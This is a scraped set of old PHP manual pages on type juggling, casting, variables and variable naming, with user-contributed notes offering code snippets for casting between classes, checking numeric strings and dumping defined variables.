sahid dot ferdjaoui at gmail dot com 20-Apr-2009 03:19
An example with PHP 5.3 and lambda functions

<?php

  array_map (function ($value) {
    return new MyFormElement ($value);
  }, $_POST);

?>
Hayley Watson 23-May-2007 10:44
The mixed pseudotype is explained as meaning "multiple but not necessarily all" types, and the example of str_replace(mixed, mixed, mixed) is given where "mixed" means "string or array".
Keep in mind that this refers to the types of the function's arguments _after_ any type juggling.
levi at alliancesoftware dot com dot au 08-Feb-2007 02:44
Parent methods for callbacks should be called 'parent::method', so if you wish to call a non-static parent method via a callback, you should use a callback of
<?
 // always works
 $callback = array($this, 'parent::method')

 // works but gives an error in PHP5 with E_STRICT if the parent method is not static
 $callback array('parent', 'method');
?>
Edward 01-Feb-2007 02:15
To recap mr dot lilov at gmail dot com's comment: If you want to pass a function as an argument to another function, for example "array_map", do this:

regular functions:
<?
array_map(intval, $array)
?>

static functions in a class:
<?
array_map(array('MyClass', 'MyFunction'), $array)
?>

functions from an object:
<?
array_map(array($this, 'MyFunction'), $array)
?>

I hope this clarifies things a little bit
NULL
Type Juggling
Types


Type Juggling

PHP does not require (or support) explicit type definition in variable declaration; a variable's type is determined by the context in which the variable is used. That is to say, if a string value is assigned to variable $var, $var becomes a string. If an integer value is then assigned to $var, it becomes an integer.

An example of PHP's automatic type conversion is the addition operator '+'. If either operand is a float, then both operands are evaluated as floats, and the result will be a float. Otherwise, the operands will be interpreted as integers, and the result will also be an integer. Note that this does not change the types of the operands themselves; the only change is in how the operands are evaluated and what the type of the expression itself is.

<?php
$foo = "0";  // $foo is string (ASCII 48)
$foo += 2;   // $foo is now an integer (2)
$foo = $foo + 1.3;  // $foo is now a float (3.3)
$foo = 5 + "10 Little Piggies"; // $foo is integer (15)
$foo = 5 + "10 Small Pigs";     // $foo is integer (15)
?>

If the last two examples above seem odd, see String conversion to numbers.

To force a variable to be evaluated as a certain type, see the section on Type casting. To change the type of a variable, see the settype() function.

To test any of the examples in this section, use the var_dump() function.

Note:

The behaviour of an automatic conversion to array is currently undefined.

Also, because PHP supports indexing into strings via offsets using the same syntax as array indexing, the following example holds true for all PHP versions:

<?php
$a    = 'car'; // $a is a string
$a[0] = 'b';   // $a is still a string
echo $a;       // bar
?>

See the section titled String access by character for more information.

Type Casting

Type casting in PHP works much as it does in C: the name of the desired type is written in parentheses before the variable which is to be cast.

<?php
$foo = 10;   // $foo is an integer
$bar = (boolean) $foo;   // $bar is a boolean
?>

The casts allowed are:

  • (int), (integer) - cast to integer
  • (bool), (boolean) - cast to boolean
  • (float), (double), (real) - cast to float
  • (string) - cast to string
  • (array) - cast to array
  • (object) - cast to object
  • (unset) - cast to NULL (PHP 5)

(binary) casting and b prefix forward support was added in PHP 5.2.1

Note that tabs and spaces are allowed inside the parentheses, so the following are functionally equivalent:

<?php
$foo = (int) $bar;
$foo = ( int ) $bar;
?>

Casting literal strings and variables to binary strings:

<?php
$binary = (binary) $string;
$binary = b"binary string";
?>

Note:

Instead of casting a variable to a string, it is also possible to enclose the variable in double quotes.

<?php
$foo = 10;            // $foo is an integer
$str = "$foo";        // $str is a string
$fst = (string) $foo; // $fst is also a string

// This prints out that "they are the same"
if ($fst === $str) {
    echo "they are the same";
}
?>

It may not be obvious exactly what will happen when casting between certain types. For more information, see these sections:

  • Converting to boolean
  • Converting to integer
  • Converting to float
  • Converting to string
  • Converting to array
  • Converting to object
  • Converting to resource
  • Converting to NULL
  • The type comparison tables

User Contributed Notes

hemi68 at hotmail dot com 06-Sep-2011 08:01
Cast a string to binary using PHP < 5.2.1

 $binary = unpack('c*', $string);
jphansen at uga dot edu 21-Apr-2011 10:53
Type casting from string to int and vice versa is probably the most common conversation. PHP does this very simply through the +. and .= operators, removing any explicit casting:

<?php
$x = 1;
var_dump($x); // int(1)
$x .= 1;
var_dump($x); // string(2) "11"; also an empty string ("") would cast to string without changing $x

$x = "1";
var_dump($x);  // string(1) "1"
$x += 1;
var_dump($x); // int(2); also a zero value (0) would cast to int without changing $x
?>
Anonymous 11-Mar-2011 11:01
Checking for strings to be integers?
How about if a string is a float?

<?php

/* checks if a string is an integer with possible whitespace before and/or after, and also isolates the integer */
$isInt=preg_match('/^\s*([0-9]+)\s*$/', $myString, $myInt);

echo 'Is Integer? ',  ($isInt) ? 'Yes: '.$myInt[1] : 'No', "\n";

/* checks if a string is an integer with no whitespace before or after  */
$isInt=preg_match('/^[0-9]+$/', $myString);

echo 'Is Integer? ',  ($isInt) ? 'Yes' : 'No', "\n";

/* When checking for floats, we assume the possibility of no decimals needed.  If you MUST require decimals (forcing the user to type 7.0 for example) replace the sequence:
[0-9]+(\.[0-9]+)?
with
[0-9]+\.[0-9]+
*/

/* checks if a string is a float with possible whitespace before and/or after, and also isolates the number */
$isFloat=preg_match('/^\s*([0-9]+(\.[0-9]+)?)\s*$/', $myString, $myNum);

echo 'Is Number? ',  ($isFloat) ? 'Yes: '.$myNum[1] : 'No', "\n";

/* checks if a string is a float with no whitespace before or after */
$isInt=preg_match('/^[0-9]+(\.[0-9]+)?$/', $myString);

echo 'Is Number? ',  ($isFloat) ? 'Yes' : 'No', "\n";

?>
namaroulis at gmail dot com 02-Mar-2011 01:47
I found it tricky to check if a posted value was an integer.

<?php

$_POST['a'] = "42";

is_int( $_POST['a'] ); //false
is_int( intval( "anything" ) ); //always true
?>

A method I use for checking if a string represents an integer value.

<?php
function check_int( $str )
                {
                    return  is_numeric( $str ) && intval( $str ) - $str == 0;
                }
?>
rmirabelle 17-Oct-2010 10:18
The object casting methods presented here do not take into account the class hierarchy of the class you're trying to cast your object into.

/**
     * Convert an object to a specific class.
     * @param object $object
     * @param string $class_name The class to cast the object to
     * @return object
     */
    public static function cast($object, $class_name) {
        if($object === false) return false;
        if(class_exists($class_name)) {
            $ser_object     = serialize($object);
            $obj_name_len     = strlen(get_class($object));
            $start             = $obj_name_len + strlen($obj_name_len) + 6;
            $new_object      = 'O:' . strlen($class_name) . ':"' . $class_name . '":';
            $new_object     .= substr($ser_object, $start);
            $new_object     = unserialize($new_object);
            /**
             * The new object is of the correct type but
             * is not fully initialized throughout its graph.
             * To get the full object graph (including parent
             * class data, we need to create a new instance of
             * the specified class and then assign the new
             * properties to it.
             */
            $graph = new $class_name;
            foreach($new_object as $prop => $val) {
                $graph->$prop = $val;
            }
            return $graph;
        } else {
            throw new CoreException(false, "could not find class $class_name for casting in DB::cast");
            return false;
        }
    }
martinscotta at gmail dot com 21-Sep-2010 08:44
in response to bhsmither at gmail.com

It raises a warning because of the bad enquoted variable

<?php

error_reporting( E_ALL | E_STRICT );

$foo['ten'] = 10;        // $foo['ten'] is an array holding an integer at key "ten"
$str = "{$foo['ten']}";  // works "10"
$str = "$foo[ten]";      // DO NOT work!
bhsmither at gmail.com 19-Mar-2010 03:41
<?php
$foo['ten'] = 10;            // $foo['ten'] is an array holding an integer at key "ten"
$str = "$foo['ten']";        // throws T_ENCAPSED_AND_WHITESPACE error
$str = "$foo[ten]";          // works because constants are skipped in quotes
$fst = (string) $foo['ten']; // works with clear intention
?>
radek at pinkbike dot com 28-Mar-2009 11:40
Here is something that was a not obvious bug in my code.
Comparison statements cast string to int automatically if one of the other variable is an int.

<?php
$a=3;
$b='3d';

if ($a==$b) {
  echo "a is b";
} else {
  echo "a is not b";
}
?>

Result:  a is b
This can cause some issues if you don't expect it
edgar dot klerks at gmail dot com 17-Mar-2009 08:04
It seems (unset) is pretty useless. But for people who like to make their code really compact (and probably unreadable). You can use it to use an variable and unset it on the same line:

Without cast:

<?php

$hello = 'Hello world';
print $hello;
unset($hello);

?>

With the unset cast:

<?php

$hello = 'Hello world';
$hello = (unset) print $hello;

?>

Hoorah, we lost another line!
kajsunansis at that gmail 03-Dec-2008 11:18
json_decode users consider this, when casting stdClass to array:
<?php
$obj = new stdClass();
$obj->{"2"} = "id";
$arr = (array) $obj;
$result = isset($arr["2"]) || array_key_exists(2, $arr); // false
?>
..though casting is at least 2x faster than foreach.
Jeffrey 09-Nov-2008 11:34
IMAGINATION REQUIRED...

We can be a witness to PHP's 'type-jugglin' in real-time with a simple implementation of a MemoryMap. For the sake our purposes, pretend that this is an empty MemoryMap.
+-------+------+------+-------+
| index | $var | type | value |
+-------+------+------+-------+
|     1 |  --- | NULL |  null |
|     2 |  --- | NULL |  null |
|     3 |  --- | NULL |  null |
|     4 |  --- | NULL |  null |
+-------+------+------+-------+

<?php
# create some variables...
$a = 10;
$b = "Hello";
$c = array(55.45, 98.65);
# Now look at map...
?>
+-------+-------+---------+--------+
| index |  $var |    type |  value |
+-------+-------+---------+--------+
|     1 |    $a | INTEGER |     10 |
|     2 |    $b |  STRING |  Hello |
|     3 | $c[0] |   FLOAT |  55.45 |
|     4 | $c[1] |   FLOAT |  98.65 |
+-------+-------+---------+--------+
<?php
# Now, change the variable types...
$a = "Bye";
$b = 2;
$c[0] = "Buy";
$c[1] = "Now!";
#Look at map...
?>
+-------+-------+---------+--------+
| index |  $var |    type |  value |
+-------+-------+---------+--------+
|     1 |    $a |  STRING |    Bye | <- used to be INTEGER
|     2 |    $b | INTEGER |      2 | <- used to be STRING
|     3 | $c[0] |  STRING |    Buy | <- used to be FLOAT
|     4 | $c[1] |  STRING |  Right | <- used to be FLOAT
+-------+-------+---------+--------+
hek at theeks dot net 04-Nov-2008 09:22
The behavior of comparisons between objects of different types is, in fact, already documented (though a cross-reference from this page might be handy for future readers):

http://www.php.net/manual/en/language.operators.comparison.php
hek at theeks dot net 17-Oct-2008 09:24
It would be useful to know the precedence (for lack of a better word) for type juggling.  This entry currently explains that "if either operand is a float, then both operands are evaluated as floats, and the result will be a float" but could (and I think should) provide a hierarchy that indicates, for instance, "between an int and a boolean, int wins; between a float and an int, float wins; between a string and a float, string wins" and so on (and don't count on my example accurately capturing the true hierarchy, as I haven't actually done the tests to figure it out).  Thanks!
wbcarts at juno dot com 07-Oct-2008 06:05
WHERE'S THE BEEF?

Looks like type-casting user-defined objects is a real pain, and ya gotta be nuttin' less than a brain jus ta cypher-it. But since PHP supports OOP, you can add the capabilities right now. Start with any simple class.
<?php
class Point {
  protected $x, $y;

  public function __construct($xVal = 0, $yVal = 0) {
    $this->x = $xVal;
    $this->y = $yVal;
  }
  public function getX() { return $this->x; }
  public function getY() { return $this->y; }
}

$p = new Point(25, 35);
echo $p->getX();      // 25
echo $p->getY();      // 35
?>
Ok, now we need extra powers. PHP gives us several options:
  A. We can tag on extra properties on-the-fly using everyday PHP syntax...
    $p->z = 45; // here, $p is still an object of type [Point] but gains no capability, and it's on a per-instance basis, blah.
  B. We can try type-casting it to a different type to access more functions...
    $p = (SuperDuperPoint) $p; // if this is even allowed, I doubt it. But even if PHP lets this slide, the small amount of data Point holds would probably not be enough for the extra functions to work anyway. And we still need the class def + all extra data. We should have just instantiated a [SuperDuperPoint] object to begin with... and just like above, this only works on a per-instance basis.
  C. Do it the right way using OOP - and just extend the Point class already.
<?php
class Point3D extends Point {
  protected $z;                                // add extra properties...

  public function __construct($xVal = 0, $yVal = 0, $zVal = 0) {
    parent::__construct($xVal, $yVal);
    $this->z = $zVal;
  }
  public function getZ() { return $this->z; }  // add extra functions...
}

$p3d = new Point3D(25, 35, 45);  // more data, more functions, more everything...
echo $p3d->getX();               // 25
echo $p3d->getY();               // 35
echo $p3d->getZ();               // 45
?>
Once the new class definition is written, you can make as many Point3D objects as you want. Each of them will have more data and functions already built-in. This is much better than trying to beef-up any "single lesser object" on-the-fly, and it's way easier to do.
lucazd at gmail dot com 23-Sep-2008 09:20
@alexgr (20-Jun-2008)

Correct me if I'm wrong, but that is not a cast, it might be useful sometimes, but the IDE will not reflect what's really happening:

<?php
class MyObject {
    /**
     * @param MyObject $object
     * @return MyObject
     */
    static public function cast(MyObject $object) {
        return $object;
    }
    /** Does nothing */
    function f() {}
}

class X extends MyObject {
    /** Throws exception */
    function f() { throw new exception(); }
}

$x = MyObject::cast(new X);
$x->f(); // Your IDE tells 'f() Does nothing'
?>

However, when you run the script, you will get an exception.
nullhilty at gmail dot com 09-Sep-2008 11:34
Just a little experiment on the (unset) type cast:

<?php
$var = 1;
$var_unset = (unset) $var;
$var_ref_unset &= (unset) $var;
var_dump($var);
var_dump($var_unset);
var_dump($var_ref_unset);
?>

output:
int(1)
NULL
int(0)
alexgr at gmail dot com 20-Jun-2008 03:43
For a Cast to a User Defined Object you can define a cast method:

class MyObject {
    /**
     * @param MyObject $object
     * @return MyObject
     */
    static public function cast(MyObject $object) {
        return $object;
    }
}

In your php page code you can:
$myObject = MyObject::cast($_SESSION["myObject"]);

Then, PHP will validate the value and your IDE will help you.
miracle at 1oo-percent dot de 20-Feb-2006 05:26
If you want to convert a string automatically to float or integer (e.g. "0.234" to float and "123" to int), simply add 0 to the string - PHP will do the rest.

e.g.

$val = 0 + "1.234";
(type of $val is float now)

$val = 0 + "123";
(type of $val is integer now)
22-Jun-2005 05:47
If you have a boolean, performing increments on it won't do anything despite it being 1.  This is a case where you have to use a cast.

<html>
<body> <!-- don't want w3.org to get mad... -->
<?php
$bar = TRUE;
?>
I have <?=$bar?> bar.
<?php
$bar++;
?>
I now have <?=$bar?> bar.
<?php
$bar = (int) $bar;
$bar++;
?>
I finally have <?=$bar?> bar.
</body>
</html>

That will print

I have 1 bar.
I now have 1 bar.
I finally have 2 bar.
toma at smartsemantics dot com 09-Mar-2005 06:24
In my much of my coding I have found it necessary to type-cast between objects of different class types.

More specifically, I often want to take information from a database, convert it into the class it was before it was inserted, then have the ability to call its class functions as well.

The following code is much shorter than some of the previous examples and seems to suit my purposes.  It also makes use of some regular expression matching rather than string position, replacing, etc.  It takes an object ($obj) of any type and casts it to an new type ($class_type).  Note that the new class type must exist:

function ClassTypeCast(&$obj,$class_type){
    if(class_exists($class_type,true)){
        $obj = unserialize(preg_replace"/^O:[0-9]+:\"[^\"]+\":/i",
          "O:".strlen($class_type).":\"".$class_type."\":", serialize($obj)));
    }
}
Raja 10-Feb-2005 03:05
Uneven division of an integer variable by another integer variable will result in a float by automatic conversion -- you do not have to cast the variables to floats in order to avoid integer truncation (as you would in C, for example):

$dividend = 2;
$divisor = 3;
$quotient = $dividend/$divisor;
print $quotient; // 0.66666666666667
tom5025_ at hotmail dot com 24-Aug-2004 01:27
function strhex($string)
{
   $hex="";
   for ($i=0;$i<strlen($string);$i++)
       $hex.=dechex(ord($string[$i]));
   return $hex;
}
function hexstr($hex)
{
   $string="";
   for ($i=0;$i<strlen($hex)-1;$i+=2)
       $string.=chr(hexdec($hex[$i].$hex[$i+1]));
   return $string;
}

to convert hex to str and vice versa
dimo dot vanchev at bianor dot com 10-Mar-2004 07:02
For some reason the code-fix posted by philip_snyder at hotmail dot com [27-Feb-2004 02:08]
didn't work for me neither with long_class_names nor with short_class_names. I'm using PHP v4.3.5 for Linux.
Anyway here's what I wrote to solve the long_named_classes problem:

<?php
function typecast($old_object, $new_classname) {
    if(class_exists($new_classname)) {
        $old_serialized_object = serialize($old_object);
        $old_object_name_length = strlen(get_class($old_object));
        $subtring_offset = $old_object_name_length + strlen($old_object_name_length) + 6;
        $new_serialized_object  = 'O:' . strlen($new_classname) . ':"' . $new_classname . '":';
        $new_serialized_object .= substr($old_serialized_object, $subtring_offset);
        return unserialize($new_serialized_object);
     } else {
         return false;
     }
}
?>
philip_snyder at hotmail dot com 27-Feb-2004 07:08
Re: the typecasting between classes post below... fantastic, but slightly flawed. Any class name longer than 9 characters becomes a problem... SO here's a simple fix:

function typecast($old_object, $new_classname) {
  if(class_exists($new_classname)) {
    // Example serialized object segment
    // O:5:"field":9:{s:5:...   <--- Class: Field
    $old_serialized_prefix  = "O:".strlen(get_class($old_object));
    $old_serialized_prefix .= ":\"".get_class($old_object)."\":";

    $old_serialized_object = serialize($old_object);
    $new_serialized_object = 'O:'.strlen($new_classname).':"'.$new_classname . '":';
    $new_serialized_object .= substr($old_serialized_object,strlen($old_serialized_prefix));
   return unserialize($new_serialized_object);
  }
  else
   return false;
}

Thanks for the previous code. Set me in the right direction to solving my typecasting problem. ;)
post_at_henribeige_dot_de 03-May-2003 09:37
If you want to do not only typecasting between basic data types but between classes, try this function. It converts any class into another. All variables that equal name in both classes will be copied.

function typecast($old_object, $new_classname) {
  if(class_exists($new_classname)) {
    $old_serialized_object = serialize($old_object);
    $new_serialized_object = 'O:' . strlen($new_classname) . ':"' . $new_classname . '":' .
                             substr($old_serialized_object, $old_serialized_object[2] + 7);
    return unserialize($new_serialized_object);
  }
  else
    return false;
}

Example:

class A {
  var $secret;
  function A($secret) {$this->secret = $secret;}
  function output() {echo("Secret class A: " . $this->secret);}
}

class B extends A {
  var $secret;
  function output() {echo("Secret class B: " . strrev($this->secret));}
}

$a = new A("Paranoia");
$b = typecast($a, "B");

$a->output();
$b->output();
echo("Classname \$a: " . get_class($a) . "Classname \$b: " . get_class($b));

Output of the example code above:

Secret class A: Paranoia
Secret class B: aionaraP
Classname $a: a
Classname $b: b
yury at krasu dot ru 27-Nov-2002 01:24
incremental operator ("++") doesn't make type conversion from boolean to int, and if an variable is boolean and equals TRUE than after ++ operation it remains as TRUE, so:

$a = TRUE;
echo ($a++).$a;  // prints "11"
28-Aug-2002 10:26
Printing or echoing a FALSE boolean value or a NULL value results in an empty string:
(string)TRUE //returns "1"
(string)FALSE //returns ""
echo TRUE; //prints "1"
echo FALSE; //prints nothing!
Pseudo-types and variables used in this documentation
Variables
Types


Variables

Table of Contents

  • Basics
  • Predefined Variables
  • Variable scope
  • Variable variables
  • Variables From External Sources

User Contributed Notes

james at custom-made-sites dot com 30-Sep-2010 04:55
This script has been running around for a while and has add many additions and changes, however I noticed that if you run it and there is an object assigned to a variable it will fail with 'Object of Class 'XXXX' cannot be converted to string'
so I changed it a little to ignore objects within the script and display the variables only:

Btw, it has haelped me an ENOURMOUS amount over the years especially when keeping track of variables that are being sent through request and if session variables are alive

<?php

//this can be removed if you want to find out if you page has actually started a session, - this is sometimes a problem when relying on a session being started by an included/required file
if(!isset($_SESSION))
{
session_start();
}

//now begin the table
echo '<table border=1><tr> <th>variable</th> <th>value</th> </tr>';
foreach(get_defined_vars() as $key => $value)
{
//if the returned value is NOT an object...
    if (is_array ($value) && !is_object($key) && !is_object($value))
    {
        echo '<tr><td>$'.$key .'</td><td>';
        if ( sizeof($value)>0 )
        {
        echo '"<table border=1><tr> <th>key</th> <th>value</th> </tr>';
        foreach ($value as $skey => $svalue )
        {
 //and if these values are NOT an object...

    if ( !is_object($skey) && !is_object($svalue))
    {
            echo '<tr><td>[' . $skey .']</td><td>"'. $svalue .'"</td></tr>';
    }
        }
        echo '</table>"';
        }
             else
        {
            echo 'EMPTY';
        }
        echo '</td></tr>';
    }else

    {
            echo '<tr><td>[' . $key .']</td><td>"'. $value .'"</td></tr>';
    }

}

echo '</table>';
?>
justgook at gmail dot com 03-Aug-2010 01:38
I found interstate solution to work with arrays

<?php
$vars['product']['price']=11;

$aa='product';
$bb='price';

echo $vars{$aa}{$bb};

//prints 11
?>
dimitrov dot adrian at gmail dot com 29-Jul-2010 06:52
This is mine type casting lib, that is very useful for me.

<?php

function CAST_TO_INT($var, $min = FALSE, $max = FALSE)
{
    $var = is_int($var) ? $var : (int)(is_scalar($var) ? $var : 0);
    if ($min !== FALSE && $var < $min)
        return $min;
    elseif($max !== FALSE && $var > $max)
        return $max;
    return $var;

}

function CAST_TO_FLOAT($var, $min = FALSE, $max = FALSE)
{
    $var = is_float($var) ? $var : (float)(is_scalar($var) ? $var : 0);
    if ($min !== FALSE && $var < $min)
        return $min;
    elseif($max !== FALSE && $var > $max)
        return $max;
    return $var;
}

function CAST_TO_BOOL($var)
{
    return (bool)(is_bool($var) ? $var : is_scalar($var) ? $var : FALSE);
}

function CAST_TO_STRING($var, $length = FALSE)
{
    if ($length !== FALSE && is_int($length) && $length > 0)
        return substr(trim(is_string($var)
                    ? $var
                    : (is_scalar($var) ? $var : '')), 0, $length);

    return trim(
                is_string($var)
                ? $var
                : (is_scalar($var) ? $var : ''));
}

function CAST_TO_ARRAY($var)
{
    return is_array($var)
            ? $var
            : is_scalar($var) && $var
                ? array($var)
                : is_object($var) ? (array)$var : array();
}

function CAST_TO_OBJECT($var)
{
    return is_object($var)
            ? $var
            : is_scalar($var) && $var
                ? (object)$var
                : is_array($var) ? (object)$var : (object)NULL;
}

?>
Anonymous 20-Jul-2008 06:25
[EDIT by danbrown AT php DOT net: The function provided by this author will give you all defined variables at runtime.  It was originally written by (john DOT t DOT gold AT gmail DOT com), but contained some errors that were corrected in subsequent posts by (ned AT wgtech DOT com) and (taliesin AT gmail DOT com).]

<?php

echo '<table border=1><tr> <th>variable</th> <th>value</th> </tr>';
foreach( get_defined_vars() as $key => $value)
{
    if (is_array ($value) )
    {
        echo '<tr><td>$'.$key .'</td><td>';
        if ( sizeof($value)>0 )
        {
        echo '"<table border=1><tr> <th>key</th> <th>value</th> </tr>';
        foreach ($value as $skey => $svalue)
        {
            echo '<tr><td>[' . $skey .']</td><td>"'. $svalue .'"</td></tr>';
        }
        echo '</table>"';
        }
             else
        {
            echo 'EMPTY';
        }
        echo '</td></tr>';
    }
    else
    {
            echo '<tr><td>$' . $key .'</td><td>"'. $value .'"</td></tr>';
    }
}
echo '</table>';
?>
alexandre at nospam dot gaigalas dot net 06-Jul-2007 09:13
Here's a simple solution for retrieving the variable name, based on the lucas (http://www.php.net/manual/en/language.variables.php#49997) solution, but shorter, just two lines =)

<?php
function var_name(&$var, $scope=0)
{
    $old = $var;
    if (($key = array_search($var = 'unique'.rand().'value', !$scope ? $GLOBALS : $scope)) && $var = $old) return $key;
}
?>
jsb17 at cornell dot edu 20-Feb-2007 08:48
As an addendum to David's 10-Nov-2005 posting, remember that curly braces literally mean "evaluate what's inside the curly braces" so, you can squeeze the variable variable creation into one line, like this:

<?php
  ${"title_default_" . $title} = "selected";
?>

and then, for example:

<?php
  $title_select = <<<END
    <select name="title">
      <option>Select</option>
      <option $title_default_Mr  value="Mr">Mr</option>
      <option $title_default_Ms  value="Ms">Ms</option>
      <option $title_default_Mrs value="Mrs">Mrs</option>
      <option $title_default_Dr  value="Dr">Dr</option>
    </select>
END;
?>
code at slater dot fr 25-Jan-2007 02:10
Here's a pair of functions to encode/decode any string to be a valid php and javascript variable name.

<?php

function label_encode($txt) {

  // add Z to the begining to avoid that the resulting
  // label is a javascript keyword or it starts with a
  // number
  $txt = 'Z'.$txt;

  // encode as urlencoded data
  $txt = rawurlencode($txt);

  // replace illegal characters
  $illegal = array('%', '-', '.');
  $ok = array('é', 'è', 'à');
  $txt = str_replace($illegal,$ok, $txt);

  return $txt;
}

function label_decode($txt) {

  // replace illegal characters
  $illegal = array('%', '-', '.');
  $ok = array('é', 'è', 'à');
  $txt = str_replace($ok, $illegal, $txt);

  // unencode
  $txt = rawurldecode($txt);

  // remove the leading Z and return
  return substr($txt,1);
}

?>
molnaromatic at gmail dot com 20-May-2006 05:44
Simple sample and variables and html "templates":
The PHP code:
variables.php:
<?php
$SYSN["title"] = "This is Magic!";
$SYSN["HEADLINE"] = "Ez magyarul van"; // This is hungarian
$SYSN["FEAR"] = "Bell in my heart";
?>

index.php:
<?php
include("variables.php");
include("template.html");
?>

The template:
template.html

<html>
<head><title><?=$SYSN["title"]?></title></head>
<body>
<H1><?=$SYSN["HEADLINE"]?></H1>
<p><?=$SYSN["FEAR"]?></p>
</body>
</html>
This is simple, quick and very flexibile
Mike at ImmortalSoFar dot com 25-Nov-2005 02:03
References and "return" can be flakey:

<?php
//  This only returns a copy, despite the dereferencing in the function definition
function &GetLogin ()
{
    return $_SESSION['Login'];
}

//  This gives a syntax error
function &GetLogin ()
{
    return &$_SESSION['Login'];
}

//  This works
function &GetLogin ()
{
    $ret = &$_SESSION['Login'];
    return $ret;
}
?>
david at removethisbit dot futuresbright dot com 10-Nov-2005 01:25
When using variable variables this is invalid:

<?php
$my_variable_{$type}_name = true;
?>

to get around this do something like:

<?php
$n="my_variable_{$type}_name";
${$n} = true;
?>

(or $$n - I tend to use curly brackets out of habit as it helps t reduce bugs ...)
Chris Hester 31-Aug-2005 05:09
Variables can also be assigned together.

<?php
$a = $b = $c = 1;
echo $a.$b.$c;
?>

This outputs 111.
Mike Fotes 09-Jul-2005 11:46
In conditional assignment of variables, be careful because the strings may take over the value of the variable if you do something like this:

<?php
$condition = true;

// Outputs " <-- That should say test"
echo "test" . ($condition) ? " <-- That should say test" : "";
?>

You will need to enclose the conditional statement and assignments in parenthesis to have it work correctly:

<?php
$condition = true;

// Outputs "test <-- That should say test"
echo "test" . (($condition) ? " <-- That should say test " : "");
?>
josh at PraxisStudios dot com 17-May-2005 01:06
As with echo, you can define a variable like this:

<?php

$text = <<<END

<table>
    <tr>
        <td>
             $outputdata
        </td>
     </tr>
</table>

END;

?>

The closing END; must be on a line by itself (no whitespace).

[EDIT by danbrown AT php DOT net: This note illustrates HEREDOC syntax.  For more information on this and similar features, please read the "Strings" section of the manual here: http://www.php.net/manual/en/language.types.string.php ]
mike at go dot online dot pt 07-Apr-2005 09:18
In addition to what jospape at hotmail dot com and ringo78 at xs4all dot nl wrote, here's the sintax for arrays:

<?php
//considering 2 arrays
$foo1 = array ("a", "b", "c");
$foo2 = array ("d", "e", "f");

//and 2 variables that hold integers
$num = 1;
$cell = 2;

echo ${foo.$num}[$cell]; // outputs "c"

$num = 2;
$cell = 0;

echo ${foo.$num}[$cell]; // outputs "d"
?>
lucas dot karisny at linuxmail dot org 14-Feb-2005 04:42
Here's a function to get the name of a given variable.  Explanation and examples below.

<?php
  function vname(&$var, $scope=false, $prefix='unique', $suffix='value')
  {
    if($scope) $vals = $scope;
    else      $vals = $GLOBALS;
    $old = $var;
    $var = $new = $prefix.rand().$suffix;
    $vname = FALSE;
    foreach($vals as $key => $val) {
      if($val === $new) $vname = $key;
    }
    $var = $old;
    return $vname;
  }
?>

Explanation:

The problem with figuring out what value is what key in that variables scope is that several variables might have the same value.  To remedy this, the variable is passed by reference and its value is then modified to a random value to make sure there will be a unique match.  Then we loop through the scope the variable is contained in and when there is a match of our modified value, we can grab the correct key.

Examples:

1.  Use of a variable contained in the global scope (default):
<?php
  $my_global_variable = "My global string.";
  echo vname($my_global_variable); // Outputs:  my_global_variable
?>

2.  Use of a local variable:
<?php
  function my_local_func()
  {
    $my_local_variable = "My local string.";
    return vname($my_local_variable, get_defined_vars());
  }
  echo my_local_func(); // Outputs: my_local_variable
?>

3.  Use of an object property:
<?php
  class myclass
  {
    public function __constructor()
    {
      $this->my_object_property = "My object property  string.";
    }
  }
  $obj = new myclass;
  echo vname($obj->my_object_property, $obj); // Outputs: my_object_property
?>
ringo78 at xs4all dot nl 14-Jan-2005 12:27
<?php
// I am beginning to like curly braces.
// I hope this helps for you work with them
$filename0="k";
$filename1="kl";
$filename2="klm";
 $i=0;
for ($varname = sprintf("filename%d",$i);   isset  ( ${$varname} ) ;   $varname = sprintf("filename%d", $i)  )  {
    echo "${$varname} <br>";
    $varname = sprintf("filename%d",$i);
    $i++;
}
?>
Carel Solomon 07-Jan-2005 03:02
You can also construct a variable name by concatenating two different variables, such as:

<?php

$arg = "foo";
$val = "bar";

//${$arg$val} = "in valid";     // Invalid
${$arg . $val} = "working";

echo $foobar;     // "working";
//echo $arg$val;         // Invalid
//echo ${$arg$val};     // Invalid
echo ${$arg . $val};    // "working"

?>

Carel
raja shahed at christine nothdurfter dot com 25-May-2004 10:58
<?php
error_reporting(E_ALL);

$name = "Christine_Nothdurfter";
// not Christine Nothdurfter
// you are not allowed to leave a space inside a variable name ;)
$$name = "'s students of Tyrolean language ";

print " $name{$$name}<br>";
print  "$name$Christine_Nothdurfter";
// same
?>
webmaster at daersys dot net 20-Jan-2004 08:15
You don't necessarily have to escape the dollar-sign before a variable if you want to output its name.

You can use single quotes instead of double quotes, too.

For instance:

<?php
$var = "test";

echo "$var"; // Will output the string "test"

echo "\$var"; // Will output the string "$var"

echo '$var'; // Will do the exact same thing as the previous line
?>

Why?
Well, the reason for this is that the PHP Parser will not attempt to parse strings encapsulated in single quotes (as opposed to strings within double quotes) and therefore outputs exactly what it's being fed with :)

To output the value of a variable within a single-quote-encapsulated string you'll have to use something along the lines of the following code:

<?php
$var = 'test';
/*
Using single quotes here seeing as I don't need the parser to actually parse the content of this variable but merely treat it as an ordinary string
*/

echo '$var = "' . $var . '"';
/*
Will output:
$var = "test"
*/
?>

HTH
- Daerion
unleaded at nospam dot unleadedonline dot net 14-Jan-2003 06:37
References are great if you want to point to a variable which you don't quite know the value yet ;)

eg:

<?php
$error_msg = &$messages['login_error']; // Create a reference

$messages['login_error'] = 'test'; // Then later on set the referenced value

echo $error_msg; // echo the 'referenced value'
?>

The output will be:

test
Type Juggling
Basics
Language Reference


Basics

Variables in PHP are represented by a dollar sign followed by the name of the variable. The variable name is case-sensitive.

Variable names follow the same rules as other labels in PHP. A valid variable name starts with a letter or underscore, followed by any number of letters, numbers, or underscores. As a regular expression, it would be expressed thus: '[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*'

Note: For our purposes here, a letter is a-z, A-Z, and the bytes from 127 through 255 (0x7f-0xff).

Note: $this is a special variable that can't be assigned.

Tip

See also the Userland Naming Guide.

For information on variable related functions, see the Variable Functions Reference.

<?php
$var = 'Bob';
$Var = 'Joe';
echo "$var, $Var";      // outputs "Bob, Joe"

$4site = 'not yet';     // invalid; starts with a number
$_4site = 'not yet';    // valid; starts with an underscore
$täyte = 'mansikka';    // valid; 'ä' is (Extended) ASCII 228.
?>

By default, variables are always assigned by value. That is to say, when you assign an expression to a variable, the entire value of the original expression is copied into the destination variable. This means, for instance, that after assigning one variable's value to another, changing one of those variables will have no effect on the other. For more information on this kind of assignment, see the chapter on Expressions.

